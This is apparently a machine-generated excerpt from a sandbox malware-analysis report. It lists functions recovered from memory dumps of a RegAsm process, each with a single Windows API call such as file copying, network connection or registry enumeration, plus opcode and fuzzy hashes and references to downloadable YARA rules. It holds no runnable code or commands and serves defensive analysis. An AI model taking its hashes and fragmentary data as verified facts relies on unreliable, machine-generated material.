LookupPrivilegeValueW.ADVAPI32(?,?,?), ref: 1E45AD6A

Memory Dump Source

Source File: 00000004.00000002.32236695176.000000001E45A000.00000040.00000001.sdmp, Offset: 1E45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1e45a000_RegAsm.jbxd

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 5ede9cd213fc486470465163e0b42b374ecc9499015336dcad7ffdac578f3b22
Instruction ID: 010a7f7d6a8807755270e4905880d08589ebf6f0e9f84c95d0b0ce44ca03c9c2
Opcode Fuzzy Hash: 5ede9cd213fc486470465163e0b42b374ecc9499015336dcad7ffdac578f3b22
Instruction Fuzzy Hash: 2211E1B1A003419FDB10DF25CC84B56FBE9EF45221F08C56ADD09CF341E675E408CA61

Uniqueness

Uniqueness Score: -1.00%

Function 20928018, Relevance: 1.6, APIs: 1, Instructions: 53libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 20928058

Memory Dump Source

Source File: 00000004.00000002.32244826204.0000000020920000.00000040.00000001.sdmp, Offset: 20920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20920000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b52fd276f0e4be66b834649e01c23fbe1c34f2a151178044f2bec5dac15b4b3f
Instruction ID: fdf884543ff50470a7ef6b2deb418f51aebe55705e7b2051fc87afbb3fc58de6
Opcode Fuzzy Hash: b52fd276f0e4be66b834649e01c23fbe1c34f2a151178044f2bec5dac15b4b3f
Instruction Fuzzy Hash: EE115830D11619DFCB14DFB4E884A9EBBB6FF49350F208469E402AB345CB399941CB90

Uniqueness

Uniqueness Score: -1.00%

Function 012D4062, Relevance: 1.6, APIs: 1, Instructions: 53fileCOMMON

Download Yara Rule

APIs

CopyFileW.KERNEL32(?,?,?,A9906BA0,00000000,?,?,?,?,?,?,?,?,71E03C68), ref: 012D40AA

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: 1a6f9322901054ac32218541507d51696a51ddee40a990b093a0e457b9d7dec4
Instruction ID: ba77f94f1c075e779b272b3faea0217dd5476daacdb73333d87980e491dca5fa
Opcode Fuzzy Hash: 1a6f9322901054ac32218541507d51696a51ddee40a990b093a0e457b9d7dec4
Instruction Fuzzy Hash: 2011A1B56143819FEB24DF29D885B56FBE8EF04221F18C46ADE09CB742E675E404CA61

Uniqueness

Uniqueness Score: -1.00%

Function 012D1E8E, Relevance: 1.6, APIs: 1, Instructions: 53networkCOMMON

Download Yara Rule

APIs

GetNetworkParams.IPHLPAPI(?,00000EB0,A9906BA0,00000000,00000000,00000000,00000000), ref: 012D1EE4

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: NetworkParams
String ID:
API String ID: 2134775280-0
Opcode ID: a3f442b3d329a0e7e1c27e4d05aa4e4cd36a9080903bb16e00713c33db16aee2
Instruction ID: bc61ead53581aba894f465b585a7a562e78e7bc49d0d95cc9f1fbf7b359b3637
Opcode Fuzzy Hash: a3f442b3d329a0e7e1c27e4d05aa4e4cd36a9080903bb16e00713c33db16aee2
Instruction Fuzzy Hash: 0C010471504244AFEB118B15CC85F66F7E8EF44720F18809AED459B242D374A544CAB2

Uniqueness

Uniqueness Score: -1.00%

Function 012D3FA2, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(?,?,A9906BA0,00000000,?,?,?,?,?,?,?,?,71E03C68), ref: 012D3FE7

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: 6a954f1f69efaf5598694f7f85307d13a656e0f2489101b0323063ab9d750094
Instruction ID: 08e9bf7d36d32da8f31af14c897486e3a1a73d7fe61e1c64942e69cbef7a7603
Opcode Fuzzy Hash: 6a954f1f69efaf5598694f7f85307d13a656e0f2489101b0323063ab9d750094
Instruction Fuzzy Hash: 5011C4716102459FEB10CF29D885B66FBE8EF44221F18C4AADE49CF642E775E404CB62

Uniqueness

Uniqueness Score: -1.00%

Function 012D0EDA, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32(?,00000EB0,A9906BA0,00000000,00000000,00000000,00000000), ref: 012D0F2D

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 0f80a5f53e399c1c6016c08f0dde5c23e6f0f466f26db44b6ef6a615fd6915fb
Instruction ID: 128e178e2859ec7af237258e7b56f9b8a974aa66f4a05335c7ddcd12e84bb274
Opcode Fuzzy Hash: 0f80a5f53e399c1c6016c08f0dde5c23e6f0f466f26db44b6ef6a615fd6915fb
Instruction Fuzzy Hash: F4010071500240AFE720CB05CC85B6AF7E8DF84720F28C09AEE498B251D6B8A504CAA6

Uniqueness

Uniqueness Score: -1.00%

Function 0133C510, Relevance: 1.6, APIs: 1, Instructions: 51threadCOMMON

Download Yara Rule

APIs

TerminateThread.KERNEL32(-703EC925), ref: 0133C57A

Memory Dump Source

Source File: 00000004.00000002.32226956768.000000000133C000.00000040.00000001.sdmp, Offset: 0133C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_133c000_RegAsm.jbxd

Similarity

API ID: TerminateThread
String ID:
API String ID: 1852365436-0
Opcode ID: 8977f12948c8effd7470630dcb600a325e582dd5ab070f77edf239fd813ee7d2
Instruction ID: 88b1b0281d5187be39ab1fb3c8c362d2bea714c981a8b4ca6f42c3a0d36fc55c
Opcode Fuzzy Hash: 8977f12948c8effd7470630dcb600a325e582dd5ab070f77edf239fd813ee7d2
Instruction Fuzzy Hash: 08117676104381CFCB608F78C9E57DABBE2BFD0310F06885AE9899B251C334C940CB09

Uniqueness

Uniqueness Score: -1.00%

Function 012D3466, Relevance: 1.5, APIs: 1, Instructions: 49networkCOMMON

Download Yara Rule

APIs

WSAConnect.WS2_32(?,?,?,?,?,?,?), ref: 012D34B2

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: Connect
String ID:
API String ID: 3144859779-0
Opcode ID: d4837bf6ff9dffb1870a4b99b7c0f106206eed58d467f0da0444519375c635ec
Instruction ID: 74ed5dc023bd223288cdbfe6f3bd081ef8831fa26af72aa507b269811ad642a3
Opcode Fuzzy Hash: d4837bf6ff9dffb1870a4b99b7c0f106206eed58d467f0da0444519375c635ec
Instruction Fuzzy Hash: E111CE754107409FDB22CF55C844B56FBE4FF08320F0888AAEE498B612D37AE444CB62

Uniqueness

Uniqueness Score: -1.00%

Function 1E45A172, Relevance: 1.5, APIs: 1, Instructions: 47fileCOMMON

Download Yara Rule

APIs

FindNextFileW.KERNELBASE(?,00000EB0,?,?), ref: 1E45A1C2

Memory Dump Source

Source File: 00000004.00000002.32236695176.000000001E45A000.00000040.00000001.sdmp, Offset: 1E45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1e45a000_RegAsm.jbxd

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: f6f403fefeef826d207b1d707efe06774a1b8062638d527466dcee12bfa6a2b6
Instruction ID: 04b2e8b73899065dd4633335a4490fe536453f0f69192ee18bdd2205e50b5d61
Opcode Fuzzy Hash: f6f403fefeef826d207b1d707efe06774a1b8062638d527466dcee12bfa6a2b6
Instruction Fuzzy Hash: 4F01B171900201ABD710DF16CC46B26FBA8FB84A20F14816AED088B741E275F511CAE5

Uniqueness

Uniqueness Score: -1.00%

Function 1E45B6AA, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

K32GetModuleFileNameExW.KERNEL32(?,00000EB0,?,?), ref: 1E45B6FA

Memory Dump Source

Source File: 00000004.00000002.32236695176.000000001E45A000.00000040.00000001.sdmp, Offset: 1E45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1e45a000_RegAsm.jbxd

Similarity

API ID: FileModuleName
String ID:
API String ID: 514040917-0
Opcode ID: da701fb964429bacbc6dc96dfc675312b63c1b8416590a3b0765e4fc859c98d4
Instruction ID: 6d2796afef8c4acc78b5faa4ef6dd840fb7117501a94c2c5844f6e19c97b63bd
Opcode Fuzzy Hash: da701fb964429bacbc6dc96dfc675312b63c1b8416590a3b0765e4fc859c98d4
Instruction Fuzzy Hash: 8501B171900201ABD310DF16CC46B26FBA8FB84B20F14816AED088B741E271F511CAE5

Uniqueness

Uniqueness Score: -1.00%

Function 012D412A, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

RemoveDirectoryW.KERNEL32(?,A9906BA0,00000000,?,?,?,?,?,?,?,?,71E03C68), ref: 012D4164

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: DirectoryRemove
String ID:
API String ID: 597925465-0
Opcode ID: 281f80f38e3355c7997158635bd33ac3f5d35a3801674995e7c82184c4d4f59a
Instruction ID: 2dfed6f06563d46354d87e8122d4265f99ed2b12df02765185f63f68a27ea623
Opcode Fuzzy Hash: 281f80f38e3355c7997158635bd33ac3f5d35a3801674995e7c82184c4d4f59a
Instruction Fuzzy Hash: 7601B171A142819FEB10DF29D885766FBE8EF40220F18C4AADD09CF742E675E444CA61

Uniqueness

Uniqueness Score: -1.00%

Function 012D3206, Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

FormatMessageW.KERNEL32(?,00000EB0,?,?), ref: 012D3256

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: FormatMessage
String ID:
API String ID: 1306739567-0
Opcode ID: 19bad1be5e963ff745545dfdc182c2a09a6ab568e7072b908331d09e681df4b0
Instruction ID: 4b297208a161a74f33370722217e049ca5e11f6af2382d48d3b63e116633ab5d
Opcode Fuzzy Hash: 19bad1be5e963ff745545dfdc182c2a09a6ab568e7072b908331d09e681df4b0
Instruction Fuzzy Hash: E201B171900201ABD310DF16CC46B26FBA8FB84B20F14816AED088B741E371F515DBE5

Uniqueness

Uniqueness Score: -1.00%

Function 1E45A7B2, Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 1E45A7F6

Memory Dump Source

Source File: 00000004.00000002.32236695176.000000001E45A000.00000040.00000001.sdmp, Offset: 1E45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1e45a000_RegAsm.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: a2ad3fc265384724e92e620019b78d76d9836fab836367f74745f40473e735ca
Instruction ID: c48dfb466bdf3232ae7f0c681c298d2199f9ae0fee92da9820b1696f06a0c699
Opcode Fuzzy Hash: a2ad3fc265384724e92e620019b78d76d9836fab836367f74745f40473e735ca
Instruction Fuzzy Hash: 0001AD318007409FDB208F51D844B16FFE1EF48320F08C9AADE494A711E376E455DF61

Uniqueness

Uniqueness Score: -1.00%

Function 012D39EE, Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

FindWindowW.USER32(?,?), ref: 012D3A33

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: FindWindow
String ID:
API String ID: 134000473-0
Opcode ID: 42833d84c99b2f2b25e50b204f6903d548a0bbd45c9773d41e4bd929f72bcaa7
Instruction ID: fca0294aa136ddc8f70b23a648971b54ddde64a804f2a6f5a570eefd5d669c0f
Opcode Fuzzy Hash: 42833d84c99b2f2b25e50b204f6903d548a0bbd45c9773d41e4bd929f72bcaa7
Instruction Fuzzy Hash: 460184B5A152419FEB10CF19D885726FBE8FF44620F18C099DE088B342E375E444CB63

Uniqueness

Uniqueness Score: -1.00%

Function 1E45B30E, Relevance: 1.5, APIs: 1, Instructions: 43registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(?,00000EB0,?,?), ref: 1E45B35E

Memory Dump Source

Source File: 00000004.00000002.32236695176.000000001E45A000.00000040.00000001.sdmp, Offset: 1E45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1e45a000_RegAsm.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 6e3d9e5dd9923d8f940a7520bb9eebe2b2e1b66da56d520c6da46c5fb4c864ac
Instruction ID: b99d5fcbfe1f6f298187a672f2762587138a8434be2509088c70c227021b6988
Opcode Fuzzy Hash: 6e3d9e5dd9923d8f940a7520bb9eebe2b2e1b66da56d520c6da46c5fb4c864ac
Instruction Fuzzy Hash: 48016271500601ABD214DF16DC46B26FBF8FB88B20F14815AED085B741D371F515DAE5

Uniqueness

Uniqueness Score: -1.00%

Function 1E45AB2E, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

MkParseDisplayName.OLE32(?,00000EB0,?,?), ref: 1E45AB7E

Memory Dump Source

Source File: 00000004.00000002.32236695176.000000001E45A000.00000040.00000001.sdmp, Offset: 1E45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1e45a000_RegAsm.jbxd

Similarity

API ID: DisplayNameParse
String ID:
API String ID: 3580041360-0
Opcode ID: 1a2963b8e6ed0bd3771662fae87e76d9f22e348a5b3ce49e649d92bf4568908b
Instruction ID: c10a16b571ea1847aaf71251785d6e0706504d9328bc3a301c90b7e57723f1f3
Opcode Fuzzy Hash: 1a2963b8e6ed0bd3771662fae87e76d9f22e348a5b3ce49e649d92bf4568908b
Instruction Fuzzy Hash: 9E016271500601ABD254DF16DC46B26FBF8FB88B20F14815AED085B741D371F515DBE5

Uniqueness

Uniqueness Score: -1.00%

Function 012D216A, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,?,?,?,?), ref: 012D21A8

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: setsockopt
String ID:
API String ID: 3981526788-0
Opcode ID: 8175d66c08329f0106a0076e371fb454bf774891f82cf1bd5ae566a6cceab16e
Instruction ID: aeefe60a695b9bd77bbd6ff7bc1b79c8b7743cee5c515bda482d3cc6c2cfd1af
Opcode Fuzzy Hash: 8175d66c08329f0106a0076e371fb454bf774891f82cf1bd5ae566a6cceab16e
Instruction Fuzzy Hash: 39018875414240DFDB21CF65D885B66FBE4EF44320F18C8AADE498B212D3B6E458DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 012D17B2, Relevance: 1.5, APIs: 1, Instructions: 43registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.KERNEL32(?,00000EB0,?,?), ref: 012D1802

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: Enum
String ID:
API String ID: 2928410991-0
Opcode ID: b3213e901ad9b24adc7acda3d2db1a71134995882d928e69200123d11df1e449
Instruction ID: 0f753fa114628623f30ce0d489e4d38bd71fe99c041c8bdaaf5bacbb66a22230
Opcode Fuzzy Hash: b3213e901ad9b24adc7acda3d2db1a71134995882d928e69200123d11df1e449
Instruction Fuzzy Hash: F6016271500601ABD254DF16DC46B26FBF8FB88B20F14815AED085B741D371F515DBE5

Uniqueness

Uniqueness Score: -1.00%

Function 012D1C42, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(?,A9906BA0,00000000,?,?,?,?,?,?,?,?,71E03C68), ref: 012D1C74

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 4ff150b1964c4a74dcf8a5ebef0425680a9dcb9350ea33d393d6742b6d9837ae
Instruction ID: 5e09f3c21c250dca73e95d87985b37b5560f9eeec41a193b55d95756d8b20d64
Opcode Fuzzy Hash: 4ff150b1964c4a74dcf8a5ebef0425680a9dcb9350ea33d393d6742b6d9837ae
Instruction Fuzzy Hash: FD01F2719142409FDB10CF29D88576AFBE4EF40220F18C4AADD09CF742E6B9E454CB62

Uniqueness

Uniqueness Score: -1.00%

Function 1E45A47A, Relevance: 1.5, APIs: 1, Instructions: 39comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(?), ref: 1E45A4AC

Memory Dump Source

Source File: 00000004.00000002.32236695176.000000001E45A000.00000040.00000001.sdmp, Offset: 1E45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1e45a000_RegAsm.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: a78d6e8fc04afea1d7788e80f9d0bb18c9106274e94ad65ed2629dc05dd94a20
Instruction ID: e912e71ec47b282ebd9e41112d13d3135f35b8d1d2cb14f983224ad74f4ae8ac
Opcode Fuzzy Hash: a78d6e8fc04afea1d7788e80f9d0bb18c9106274e94ad65ed2629dc05dd94a20
Instruction Fuzzy Hash: 3F01AD708043809FDB10CF56D888B66FBE4EF41220F18C5ABDD088F306D2B9E444DAA2

Uniqueness

Uniqueness Score: -1.00%

Function 1E45A876, Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(?,A9906BA0,00000000,?,?,?,?,?,?,?,?,71E03C68), ref: 1E45A8A8

Memory Dump Source

Source File: 00000004.00000002.32236695176.000000001E45A000.00000040.00000001.sdmp, Offset: 1E45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1e45a000_RegAsm.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 1252ce484f8ce9f619d3bc65fe5d322af5027ae6c8434296ad288e8fd851facf
Instruction ID: 7d663e21d13e0455b4caa1f86fbf6994227ec08ddf959d0d289ad16e31b3dd5a
Opcode Fuzzy Hash: 1252ce484f8ce9f619d3bc65fe5d322af5027ae6c8434296ad288e8fd851facf
Instruction Fuzzy Hash: 20F0AF748057849FEB108F06D884716FBE4EF44620F18C5AADD094F356E3B9E449DEA2

Uniqueness

Uniqueness Score: -1.00%

Function 1D2136C0, Relevance: 1.5, Strings: 1, Instructions: 229COMMON

Download Yara Rule

Strings

4/Wq, xrefs: 1D213807

Memory Dump Source

Source File: 00000004.00000002.32235950109.000000001D210000.00000040.00000001.sdmp, Offset: 1D210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1d210000_RegAsm.jbxd

Similarity

API ID:
String ID: 4/Wq
API String ID: 0-3219405582
Opcode ID: 7b1141cfe93d7bf46e3e49ef695adefc49fec36d31c45bb05e770a1f4f655041
Instruction ID: 2387d13f46a6a2fffc5c7e676f2774057f04cdf96b96e53612452123eeb964b8
Opcode Fuzzy Hash: 7b1141cfe93d7bf46e3e49ef695adefc49fec36d31c45bb05e770a1f4f655041
Instruction Fuzzy Hash: 5A81A235F0125A9BDB19DFB5C8509AEBBF2BF88610F15852ED506AB384DF309D02CB91

Uniqueness

Uniqueness Score: -1.00%

Function 1D2157C8, Relevance: 1.4, Strings: 1, Instructions: 135COMMON

Download Yara Rule

Strings

PmH, xrefs: 1D21594C

Memory Dump Source

Source File: 00000004.00000002.32235950109.000000001D210000.00000040.00000001.sdmp, Offset: 1D210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1d210000_RegAsm.jbxd

Similarity

API ID:
String ID: PmH
API String ID: 0-923473565
Opcode ID: c7221305d0a2e993c649e16cd91a0e311a628b4bfce908b0b41d0cc9e4de647c
Instruction ID: 012b69ead16f7346eb83a637f0fe6c3c0c12d868617388a850255a0aca9bcc85
Opcode Fuzzy Hash: c7221305d0a2e993c649e16cd91a0e311a628b4bfce908b0b41d0cc9e4de647c
Instruction Fuzzy Hash: DD411831F093468FC741DB78D8456AE7FF2AF86620B15C0E7D408DB296EA35DC418792

Uniqueness

Uniqueness Score: -1.00%

Function 012E31D0, Relevance: 1.4, Strings: 1, Instructions: 129COMMON

Download Yara Rule

Strings

Rh0=, xrefs: 012E31E2

Memory Dump Source

Source File: 00000004.00000002.32226827595.00000000012E0000.00000040.00000001.sdmp, Offset: 012E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12e0000_RegAsm.jbxd

Similarity

API ID:
String ID: Rh0=
API String ID: 0-2175465551
Opcode ID: c3575bb82f4e28a653b5cc9c011bea6b1d0bd7b8fed96797a41ae84a8c0a24f2
Instruction ID: c9c9eda89401e467e66310336d7a3a4374be5b2e126262efc7ab435a1a8e038e
Opcode Fuzzy Hash: c3575bb82f4e28a653b5cc9c011bea6b1d0bd7b8fed96797a41ae84a8c0a24f2
Instruction Fuzzy Hash: EF416F75509381AFC301CF25D850A57BFF4EF89620F09899EF888DB252D235A905CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1D216E8C, Relevance: 1.4, Strings: 1, Instructions: 114COMMON

Download Yara Rule

Strings

j, xrefs: 1D216EAA

Memory Dump Source

Source File: 00000004.00000002.32235950109.000000001D210000.00000040.00000001.sdmp, Offset: 1D210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1d210000_RegAsm.jbxd

Similarity

API ID:
String ID: j
API String ID: 0-2137352139
Opcode ID: 79f74a0e9fe7ecf70383aec64fe79053e172b65268a5aa496677a575185c5c5b
Instruction ID: e6f51d2e7e3a836b758f6351b6ffe386c23814564b0398b818be626de6adc322
Opcode Fuzzy Hash: 79f74a0e9fe7ecf70383aec64fe79053e172b65268a5aa496677a575185c5c5b
Instruction Fuzzy Hash: CB310A30B093858FC712D7788814AAE3FE59F86650F1980BAD519DF292EB35CD02C792

Uniqueness

Uniqueness Score: -1.00%

Function 1D21A9F0, Relevance: .9, Instructions: 898COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.32235950109.000000001D210000.00000040.00000001.sdmp, Offset: 1D210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1d210000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5dc5ca53a8709a30964bc00ea0df17e32b8e22ce07a9dfe666bb72fa8a8ba63d
Instruction ID: d7b1aaf820468d9c0bd09da5dbab664cc9fb9a77086d9055a75a112a776a3972
Opcode Fuzzy Hash: 5dc5ca53a8709a30964bc00ea0df17e32b8e22ce07a9dfe666bb72fa8a8ba63d
Instruction Fuzzy Hash: C0620530B097869FD7069774881476B7FF2AF86700F2580BAD509DF2A6EA35DC06C762

Uniqueness

Uniqueness Score: -1.00%

Function 1D214830, Relevance: .5, Instructions: 467COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.32235950109.000000001D210000.00000040.00000001.sdmp, Offset: 1D210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1d210000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c68eb271d5b32b6f29d12ec119bccff46768896d00fbbe85784507de91ee521
Instruction ID: f4501401070d0629a572c65e16b93ef24dc3c69d72df7bded50e019834a4b67e
Opcode Fuzzy Hash: 1c68eb271d5b32b6f29d12ec119bccff46768896d00fbbe85784507de91ee521
Instruction Fuzzy Hash: 38F1E331B002168FCB44AF74D89876E77F2AF88324F258529E519DB395EF35DC428B92

Uniqueness

Uniqueness Score: -1.00%

Function 1D216849, Relevance: .4, Instructions: 369COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.32235950109.000000001D210000.00000040.00000001.sdmp, Offset: 1D210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1d210000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d20e4f94458f84743f3c88aae19da010cd8eafaa78f6655cc42b842fafbdf5f
Instruction ID: 75ab774fd83ca6a06cf3901730645adbb4d90b8861413ac6be757b1ad761b23f
Opcode Fuzzy Hash: 0d20e4f94458f84743f3c88aae19da010cd8eafaa78f6655cc42b842fafbdf5f
Instruction Fuzzy Hash: DED18D30A0024A8FCB25DF74C854A9EBBF2AF89204F15C5A9D509EF355DB34DD46CB92

Uniqueness

Uniqueness Score: -1.00%

Function 1D219250, Relevance: .4, Instructions: 366COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.32235950109.000000001D210000.00000040.00000001.sdmp, Offset: 1D210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1d210000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8490a11f72fc5e07e863eb2164d3a74e4f9790e6c7cb79e07a98475d95b9370f
Instruction ID: e4a575048538e250c8eb815f352f6c4b83752c7d383f48a2bd76a10c76f66c1e
Opcode Fuzzy Hash: 8490a11f72fc5e07e863eb2164d3a74e4f9790e6c7cb79e07a98475d95b9370f
Instruction Fuzzy Hash: D7B1E430B4E3C55FD70297789815A693FF59B83610B19C0E7D598DF2E3EA299C06C362

Uniqueness

Uniqueness Score: -1.00%

Function 1D213B88, Relevance: .3, Instructions: 318COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.32235950109.000000001D210000.00000040.00000001.sdmp, Offset: 1D210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1d210000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26f9c9d4ce50e5874de37737455296da5a2bc1bdbf9e89203de94ec0a88456b6
Instruction ID: 06d898b9bc959080d2208ab6e83a85e0c563fe162f108cdaa541f3ea584bec6b
Opcode Fuzzy Hash: 26f9c9d4ce50e5874de37737455296da5a2bc1bdbf9e89203de94ec0a88456b6
Instruction Fuzzy Hash: 49B1F331A006469BCB148B74CC54B6EBBF7AF85214F24C52EE61AAF795DB32AC01C752

Uniqueness

Uniqueness Score: -1.00%

Function 1D216438, Relevance: .3, Instructions: 305COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.32235950109.000000001D210000.00000040.00000001.sdmp, Offset: 1D210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1d210000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f344e15f6e994530b2ad29e3e789c0f38852be80da84a91c03b4829074f3be5
Instruction ID: a468e92a41452a6f21eaa85527912a6e9e4128c34bc4022ccccbb0ac61a09655
Opcode Fuzzy Hash: 5f344e15f6e994530b2ad29e3e789c0f38852be80da84a91c03b4829074f3be5
Instruction Fuzzy Hash: B8B14C31B012158FDB68AB74C8547AE72F3AFC8201F2084AAD50ADB394EE35DD45CB52

Uniqueness

Uniqueness Score: -1.00%

Function 1D21B798, Relevance: .3, Instructions: 253COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.32235950109.000000001D210000.00000040.00000001.sdmp, Offset: 1D210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1d210000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b639f73d53a4fa16933e2113a597b0906823d4a92eed3c0b8eac5b2469f277d
Instruction ID: 854f9ab087c108e1a953c68ccfb537f12de816edbb764c17b8a768abe29e406f
Opcode Fuzzy Hash: 4b639f73d53a4fa16933e2113a597b0906823d4a92eed3c0b8eac5b2469f277d
Instruction Fuzzy Hash: 60913A30F4021A9BDB58DFB9D45466E77F6AFC8710F218829D506EB384EE34DC069B91

Uniqueness

Uniqueness Score: -1.00%

Function 1D21355D, Relevance: .3, Instructions: 251COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.32235950109.000000001D210000.00000040.00000001.sdmp, Offset: 1D210000, based on PE: false

Joe Sandbox IDA Plugin

